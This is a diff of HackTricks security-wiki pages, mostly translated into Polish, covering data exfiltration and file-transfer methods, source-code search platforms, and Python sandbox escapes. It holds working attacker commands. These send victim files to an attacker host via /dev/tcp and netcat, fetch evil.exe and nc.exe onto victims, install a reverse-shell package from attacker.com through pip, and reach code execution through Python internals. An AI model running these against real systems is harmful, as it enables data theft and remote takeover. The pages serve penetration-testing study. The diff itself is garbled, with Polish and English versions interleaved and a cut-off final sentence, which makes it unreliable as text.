Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Powszechnie białe listy domen do eksfiltracji informacji
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Sprawdź [https://lots-project.com/](https://lots-project.com/), aby znaleźć powszechnie białe listy domen, które można wykorzystać
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Powszechnie zezwolone domeny do wycieku informacji
|
||||
|
||||
Sprawdź [https://lots-project.com/](https://lots-project.com/) aby znaleźć powszechnie zezwolone domeny, które mogą być nadużywane
|
||||
|
||||
## Kopiuj i Wklej Base64
|
||||
## Copy\&Paste Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -63,10 +55,10 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Przesyłanie plików
|
||||
### Upload files
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer drukujący żądania GET i POST (również nagłówki)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Moduł Pythona [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Klient** systemu **Windows**
|
||||
### **Windows** klient
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Lub utwórz udział smb **za pomocą samba**:
|
||||
Lub utwórz udostępnienie smb **używając samby**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -202,22 +194,20 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
Jeśli ofiara ma SSH, atakujący może zamontować katalog ofiary do atakującego.
|
||||
Jeśli ofiara ma SSH, atakujący może zamontować katalog z ofiary do atakującego.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych wiersza poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez sieć. Może być również wykorzystywany do otwierania portów na zdalnych maszynach, nasłuchiwania na określonych portach oraz wiele innych zastosowań.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Pobierz plik z ofiary
|
||||
### Pobierz plik od ofiary
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
|
@ -251,33 +241,33 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Jeśli możesz wysyłać dane do serwera SMTP, możesz utworzyć serwer SMTP do odbierania danych za pomocą Pythona:
|
||||
Jeśli możesz wysłać dane do serwera SMTP, możesz stworzyć SMTP, aby odbierać dane za pomocą Pythona:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Domyślnie w systemach XP i 2003 (w innych systemach trzeba ją jawnie dodać podczas instalacji)
|
||||
Domyślnie w XP i 2003 (w innych musi być wyraźnie dodany podczas instalacji)
|
||||
|
||||
W Kali **uruchom serwer TFTP**:
|
||||
W Kali, **uruchom serwer TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Serwer TFTP w pythonie:**
|
||||
**Serwer TFTP w Pythonie:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
W **ofierze**, połącz się z serwerem Kali:
|
||||
W **victim**, połącz się z serwerem Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Pobierz plik za pomocą jednolinijkowca w PHP:
|
||||
Pobierz plik za pomocą jednego wiersza PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
|
@ -319,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich z kodu szesnastkowego**. Oznacza to, że, dostarczając kod szesnastkowy binarnego pliku, `debug.exe` może wygenerować plik binarny. Jednak ważne jest zauważenie, że debug.exe ma **ograniczenie montażu plików do 64 kb**.
|
||||
Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich z hex**. Oznacza to, że podając hex pliku binarnego, `debug.exe` może wygenerować plik binarny. Należy jednak zauważyć, że debug.exe ma **ograniczenie w zakresie składania plików do 64 kb**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Następnie skopiuj tekst do okna powłoki systemu Windows, a zostanie utworzony plik o nazwie nc.exe.
|
||||
Następnie skopiuj i wklej tekst do windows-shell, a plik o nazwie nc.exe zostanie utworzony.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -333,23 +323,17 @@ Następnie skopiuj tekst do okna powłoki systemu Windows, a zostanie utworzony
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hackingu, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# Szerokie wyszukiwanie kodu źródłowego
|
||||
# Wide Source Code Search
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
Celem tej strony jest enumeracja **platform, które pozwalają na wyszukiwanie kodu** (literalnego lub regex) w tysiącach/milionach repozytoriów na jednej lub więcej platformach.
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Pomaga to w kilku sytuacjach w **wyszukiwaniu wycieków informacji** lub wzorców **vulnerabilities**.
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Celem tej strony jest wyliczenie **platform, które pozwalają na wyszukiwanie kodu** (literalnie lub za pomocą wyrażeń regularnych) w tysiącach/milionach repozytoriów na jednej lub kilku platformach.
|
||||
|
||||
Pomaga to w wielu sytuacjach, takich jak **szukanie wyciekłych informacji** lub wzorców **podatności**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Wyszukiwanie w milionach repozytoriów. Istnieje wersja darmowa i wersja enterprise (z 15-dniowym okresem próbnym). Obsługuje wyrażenia regularne.
|
||||
* [**Github Search**](https://github.com/search): Wyszukiwanie na platformie Github. Obsługuje wyrażenia regularne.
|
||||
* Być może przydatne będzie również sprawdzenie [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Wyszukiwanie w projektach na platformie Gitlab. Obsługuje wyrażenia regularne.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Wyszukiwanie w milionach repozytoriów. Istnieje wersja darmowa i wersja enterprise (z 15 dniami za darmo). Obsługuje regexy.
|
||||
* [**Github Search**](https://github.com/search): Wyszukiwanie w Githubie. Obsługuje regexy.
|
||||
* Może również warto sprawdzić [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Wyszukiwanie w projektach Gitlab. Obsługuje regexy.
|
||||
* [**SearchCode**](https://searchcode.com/): Wyszukiwanie kodu w milionach projektów.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Gdy szukasz wycieków w repozytorium i uruchamiasz coś w stylu `git log -p`, nie zapomnij, że mogą istnieć **inne gałęzie z innymi commitami**, które zawierają tajne informacje!
|
||||
Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
To są niektóre triki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
|
||||
To są niektóre sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
|
||||
|
||||
## Biblioteki do wykonywania poleceń
|
||||
|
||||
|
@ -76,7 +68,7 @@ Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (n
|
|||
|
||||
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip do jej użycia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -100,7 +92,7 @@ Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pak
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed jego użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
|
@ -160,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
|
||||
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -205,7 +197,7 @@ Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możes
|
|||
|
||||
#### RCE z niestandardowymi klasami
|
||||
|
||||
Możesz modyfikować niektóre **metody klas** (_przez nadpisywanie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
Możesz modyfikować niektóre **metody klas** (_przez przeciążenie istniejących metod klas lub tworzenie nowej klasy_), aby mogły **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -327,8 +319,8 @@ pass
|
|||
```
|
||||
## Builtins
|
||||
|
||||
* [**Funkcje wbudowane Pythona 2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane Pythona 3**](https://docs.python.org/3/library/functions.html)
|
||||
* [**Funkcje wbudowane w python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane w python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
|
||||
```python
|
||||
|
@ -338,9 +330,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### Brak Wbudowanych
|
||||
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
||||
Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
||||
|
||||
W poniższych przykładach możesz zaobserwować, jak **wykorzystać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
W poniższych przykładach możesz zaobserwować, jak **nadużywać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -400,7 +392,7 @@ __builtins__["__import__"]("os").system("ls")
|
|||
```
|
||||
## Globals and locals
|
||||
|
||||
Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
|
||||
Sprawdzanie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -686,7 +678,7 @@ Możesz sprawdzić wynik tego skryptu na tej stronie:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Jeśli **wyślesz** **ciąg** do Pythona, który ma być **formatowany**, możesz użyć `{}` do uzyskania dostępu do **wewnętrznych informacji Pythona.** Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globalnych lub wbudowanych, na przykład.
|
||||
Jeśli **wyślesz** **ciąg** do Pythona, który ma być **formatowany**, możesz użyć `{}`, aby uzyskać dostęp do **wewnętrznych informacji Pythona.** Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globalnych lub wbudowanych, na przykład.
|
||||
|
||||
{% hint style="info" %}
|
||||
Jednak istnieje **ograniczenie**, możesz używać tylko symboli `.[]`, więc **nie będziesz w stanie wykonać dowolnego kodu**, tylko odczytać informacje.\
|
||||
|
@ -715,7 +707,7 @@ Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za po
|
|||
|
||||
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Niektóre inne interesujące cechy ciągów formatu są możliwością **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -731,10 +723,10 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
||||
Sprawdź także następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -881,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bajtowy kod** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **rozłożyć** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -941,7 +933,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
|
||||
